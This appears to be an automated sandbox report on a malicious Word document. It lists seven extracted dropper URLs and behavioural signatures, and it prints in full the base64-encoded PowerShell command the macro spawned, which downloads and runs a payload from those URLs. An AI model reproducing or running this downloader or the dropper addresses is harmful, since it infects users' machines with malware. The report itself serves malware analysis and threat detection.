Analysis
- max time kernel
136s - max time network
125s - platform
windows10-2004_x64 - resource
win10v2004-20240419-en - resource tags
- submitted
04/05/2024, 11:19
General
- Target 127e8280951c8b21481752d9f68f4f6c_JaffaCakes118.doc
- Size 199KB
- Sample240504-neyekafc36
- SHA256 a6706614d0da8c58be5ac61af02a29dd4542a4fd130464ee3bec6b26be18416f
Malware Config
Extracted
-
ps1
-
exe.dropper
https://houtai.xiaopbk.com/install/t0H/
-
exe.dropper
https://gudangalami.com/ivo6rp/UaBj2/
-
exe.dropper
https://webhostingsrilanka.info/pkrgs/ODn/
-
exe.dropper
http://luzzeri.com/wp-includes/T1mrkC/
-
exe.dropper
http://mobithem.com/blogs/Z3/
-
exe.dropper
http://planosdesaudesemcarencia.com/erros/E8iv/
-
exe.dropper
http://lookuppopup.co.uk/content/uploads/XNEm9/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 9 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\127e8280951c8b21481752d9f68f4f6c_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -encod JABEAHcAdgBnAG4ANQBfAD0AKAAnAFkAawAnACsAKAAnADYAJwArACcAbQBrADgAaAAnACkAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUATgB2ADoAdQBTAGUAcgBQAHIATwBmAGkATABFAFwARQBNAGsAcgBFAEwASwBcAHQAZwA4ADAAdQBSADEAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIAZQBDAHQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABFAEMAVQBSAGAAaQBUAHkAUABSAGAAbwB0AE8AYwBgAE8ATAAiACAAPQAgACgAJwB0ACcAKwAnAGwAcwAnACsAKAAnADEAJwArACcAMgAsACcAKQArACgAJwAgAHQAbABzACcAKwAnADEAMQAnACsAJwAsACAAdABsAHMAJwApACkAOwAkAFYAbQBmAHoAdAA1ADMAIAA9ACAAKAAnAFYAdgAnACsAJwB2ACcAKwAoACcAcQBkAG0AJwArACcAMgAnACkAKQA7ACQASABuAHcAZQB1AHYANAA9ACgAJwBRACcAKwAoACcAeQB1ADkAJwArACcAagAnACsAJwB3AHMAJwApACkAOwAkAEEAdQAwAG4AbABxAHUAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBmACcAKwAnAGcASwAnACkAKwAoACcARQBtACcAKwAnAGsAcgBlACcAKQArACgAJwBsAGsAJwArACcAZgAnACsAJwBnAEsAVABnACcAKwAnADgAMAB1ACcAKQArACgAJwByACcAKwAnADEAZgBnAEsAJwApACkALgAiAFIARQBgAHAAYABMAGEAQwBFACIAKAAoAFsAQwBIAGEAUgBdADEAMAAyACsAWwBDAEgAYQBSAF0AMQAwADMAKwBbAEMASABhAFIAXQA3ADUAKQAsACcAXAAnACkAKQArACQAVgBtAGYAegB0ADUAMwArACgAKAAnAC4AZQAnACsAJwB4ACcAKQArACcAZQAnACkAOwAkAEoAdAB1ADUAcQA5AG0APQAoACgAJwBaACcAKwAnAHYAZQAnACkAKwAoACcAMAA4ACcAKwAnAGoAbwAnACkAKQA7ACQAVwBfAHEAdwAyAGwAaAA9AC4AKAAnAG4AZQB3AC0AJwArACcAbwBiAGoAJwArACcAZQAnACsAJwBjAHQAJwApACAATgBFAHQALgBXAEUAQgBDAEwAaQBlAE4AdAA7ACQARgByAHcAeQB6AHEAdgA9ACgAJwBoACcAKwAnAHQAdAAnACsAKAAnAHAAcwA6ACcAKwAnAC8ALwBoAG8AJwArACcAdQB0AGEAJwApACsAKAAnAGkALgAnACsAJwB4AGkAJwApACsAJwBhACcAKwAoACcAbwBwAGIAawAuAGMAbwAnACsAJwBtACcAKwAnAC8AJwArACcAaQBuACcAKQArACgAJwBzAHQAYQBsACcAKwAnAGwAJwApACsAKAAnAC8AdAAwACcAKwAnAEgALwAqACcAKQArACgAJwBoAHQAdAAnACsAJwBwAHMAJwApACsAJwA6AC8AJwArACcALwAnACsAKAAnAGcAJwArACcAdQBkAGEAbgAnACkAKwAoACcAZwBhAGwAJwArACcAYQAnACkAKwAoACcAbQAnACsAJwBpAC4AJwArACcAYwBvAG0ALwAnACkAKwAoACcAaQAnACsAJwB2ACcAKwAnAG8ANgByACcAKwAnAHAALwBVAGEAQgBqACcAKQArACgAJwAyACcAKwAnAC8AKgBoACcAKwAnAHQAdABwACcAKQArACcAcwA6ACcAKwAoACcALwAvAHcAZQAnACsAJwBiACcAKwAnAGgAbwBzAHQAaQAnACkAKwAnAG4AJwArACcAZwAnACsAJwBzACcAKwAnAHIAaQAnACsAJwBsACcAKwAoACcAYQBuACcAKwAnAGsAYQAnACkAKwAoACcALgBpAG4AJwArACcAZgBvAC8AJwArACcAcAAnACsAJwBrAHIAZwBzAC8ATwBEAG4ALwAnACkAKwAnACoAaAAnACsAKAAnAHQAJwArACcAdABwACcAKQArACcAOgAnACsAKAAnAC8AJwArACcALwBsAHUAJwApACsAKAAnAHoAegBlACcAKwAnAHIAJwArACcAaQAuAGMAJwApACsAJwBvAG0AJwArACcALwAnACsAKAAnAHcAJwArACcAcAAtACcAKQArACcAaQBuACcAKwAoACcAYwAnACsAJwBsAHUAZAAnACkAKwAnAGUAJwArACgAJwBzAC8AVAAxACcAKwAnAG0AcgAnACsAJwBrAEMALwAqACcAKwAnAGgAdAB0AHAAOgAvACcAKQArACgAJwAvAG0AJwArACcAbwAnACkAKwAoACcAYgBpAHQAJwArACcAaAAnACkAKwAnAGUAbQAnACsAKAAnAC4AYwAnACsAJwBvACcAKQArACcAbQAvACcAKwAoACcAYgBsACcAKwAnAG8AZwBzAC8AJwApACsAJwBaADMAJwArACgAJwAvACcAKwAnACoAaAAnACkAKwAnAHQAJwArACcAdABwACcAKwAoACcAOgAvAC8AcAAnACsAJwBsACcAKQArACgAJwBhAG4AJwArACcAbwAnACkAKwAnAHMAJwArACcAZABlACcAKwAoACcAcwAnACsAJwBhAHUAJwApACsAJwBkAGUAJwArACgAJwBzACcAKwAnAGUAbQBjACcAKwAnAGEAcgBlAG4AJwApACsAJwBjAGkAJwArACgAJwBhAC4AJwArACcAYwBvACcAKwAnAG0ALwBlACcAKQArACgAJwByAHIAJwArACcAbwAnACkAKwAoACcAcwAvAEUAOAAnACsAJwBpACcAKQArACgAJwB2ACcAKwAnAC8AKgAnACkAKwAnAGgAdAAnACsAKAAnAHQAcAA6ACcAKwAnAC8ALwBsAG8AbwAnACkAKwAnAGsAdQAnACsAJwBwACcAKwAoACcAcAAnACsAJwBvAHAAJwApACsAJwB1ACcAKwAoACcAcAAuAGMAJwArACcAbwAuAHUAJwArACcAawAvAGMAJwArACcAbwAnACkAKwAoACcAbgB0ACcAKwAnAGUAbgB0AC8AJwArACcAdQBwAGwAbwBhAGQAJwArACcAcwAvAFgAJwApACsAKAAnAE4ARQAnACsAJwBtACcAKQArACcAOQAvACcAKQAuACIAUwBwAGAAbABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABXADYANwBfAGkANgBoAD0AKAAnAE0AdAAnACsAJwB6ACcAKwAoACcAeAAnACsAJwBuAGoAYwAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEQAdwBxADMANABvADUAIABpAG4AIAAkAEYAcgB3AHkAegBxAHYAKQB7AHQAcgB5AHsAJABXAF8AcQB3ADIAbABoAC4AIgBEAGAAbwB3AE4AbABPAGAAQQBkAEYAYABJAGwARQAiACgAJABEAHcAcQAzADQAbwA1ACwAIAAkAEEAdQAwAG4AbABxAHUAKQA7ACQAQwBpAGQAdgA0ADgAawA9ACgAKAAnAEEAMgAnACsAJwBmADAAcQAnACkAKwAnADUAcQAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQAJwArACcALQAnACsAJwBJAHQAZQBtACcAKQAgACQAQQB1ADAAbgBsAHEAdQApAC4AIgBMAGUAYABOAGcAVABoACIAIAAtAGcAZQAgADIANwA2ADkANQApACAAewAuACgAJwBJAG4AdgBvAGsAZQAtACcAKwAnAEkAJwArACcAdABlAG0AJwApACgAJABBAHUAMABuAGwAcQB1ACkAOwAkAFQAYgBvADEAcwBkAHQAPQAoACgAJwBGACcAKwAnAG0AOAAnACkAKwAnAGkAJwArACgAJwB6ACcAKwAnAHMAMQAnACkAKQA7AGIAcgBlAGEAawA7ACQAWAA2AHkAZwA0AGEAXwA9ACgAJwBOADAAJwArACgAJwBzAHoAJwArACcAagAnACkAKwAnADgAeQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEkAbQB3AGgAeQB0AHYAPQAoACcATwAnACsAKAAnAGoAJwArACcAdgB1AG8AZQBtACcAKQApAA==1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
iso690.xsl
__PSScriptPolicyTest_ih4qcjif.0zi.ps1
memory/2300-10-0x00007FF84D4B0000-0x00007FF84D6A5000-memory.dmp
memory/2300-4-0x00007FF84D54D000-0x00007FF84D54E000-memory.dmp
memory/2300-3-0x00007FF80D530000-0x00007FF80D540000-memory.dmp
memory/2300-6-0x00007FF84D4B0000-0x00007FF84D6A5000-memory.dmp
memory/2300-5-0x00007FF80D530000-0x00007FF80D540000-memory.dmp
memory/2300-7-0x00007FF84D4B0000-0x00007FF84D6A5000-memory.dmp
memory/2300-9-0x00007FF84D4B0000-0x00007FF84D6A5000-memory.dmp
memory/2300-1-0x00007FF80D530000-0x00007FF80D540000-memory.dmp
memory/2300-8-0x00007FF84D4B0000-0x00007FF84D6A5000-memory.dmp
memory/2300-12-0x00007FF84D4B0000-0x00007FF84D6A5000-memory.dmp
memory/2300-13-0x00007FF80B4D0000-0x00007FF80B4E0000-memory.dmp
memory/2300-11-0x00007FF84D4B0000-0x00007FF84D6A5000-memory.dmp
memory/2300-14-0x00007FF84D4B0000-0x00007FF84D6A5000-memory.dmp
memory/2300-16-0x00007FF84D4B0000-0x00007FF84D6A5000-memory.dmp
memory/2300-17-0x00007FF80B4D0000-0x00007FF80B4E0000-memory.dmp
memory/2300-15-0x00007FF84D4B0000-0x00007FF84D6A5000-memory.dmp
memory/2300-18-0x00007FF84D4B0000-0x00007FF84D6A5000-memory.dmp
memory/2300-19-0x00007FF84D4B0000-0x00007FF84D6A5000-memory.dmp
memory/2300-573-0x00007FF84D4B0000-0x00007FF84D6A5000-memory.dmp
memory/2300-35-0x00007FF84D4B0000-0x00007FF84D6A5000-memory.dmp
memory/2300-62-0x00007FF84D4B0000-0x00007FF84D6A5000-memory.dmp
memory/2300-604-0x00007FF84D4B0000-0x00007FF84D6A5000-memory.dmp
memory/2300-0-0x00007FF80D530000-0x00007FF80D540000-memory.dmp
memory/2300-601-0x00007FF80D530000-0x00007FF80D540000-memory.dmp
memory/2300-92-0x00007FF84D4B0000-0x00007FF84D6A5000-memory.dmp
memory/2300-2-0x00007FF80D530000-0x00007FF80D540000-memory.dmp
memory/2300-570-0x00007FF84D4B0000-0x00007FF84D6A5000-memory.dmp
memory/2300-571-0x00007FF84D4B0000-0x00007FF84D6A5000-memory.dmp
memory/2300-34-0x00007FF84D4B0000-0x00007FF84D6A5000-memory.dmp
memory/2300-603-0x00007FF80D530000-0x00007FF80D540000-memory.dmp
memory/2300-602-0x00007FF80D530000-0x00007FF80D540000-memory.dmp
memory/2300-600-0x00007FF80D530000-0x00007FF80D540000-memory.dmp
memory/2848-579-0x00007FF84D4B0000-0x00007FF84D6A5000-memory.dmp
memory/2848-576-0x00007FF84D4B0000-0x00007FF84D6A5000-memory.dmp
memory/2848-86-0x00000270AA3F0000-0x00000270AA412000-memory.dmp
memory/2848-76-0x00007FF84D4B0000-0x00007FF84D6A5000-memory.dmp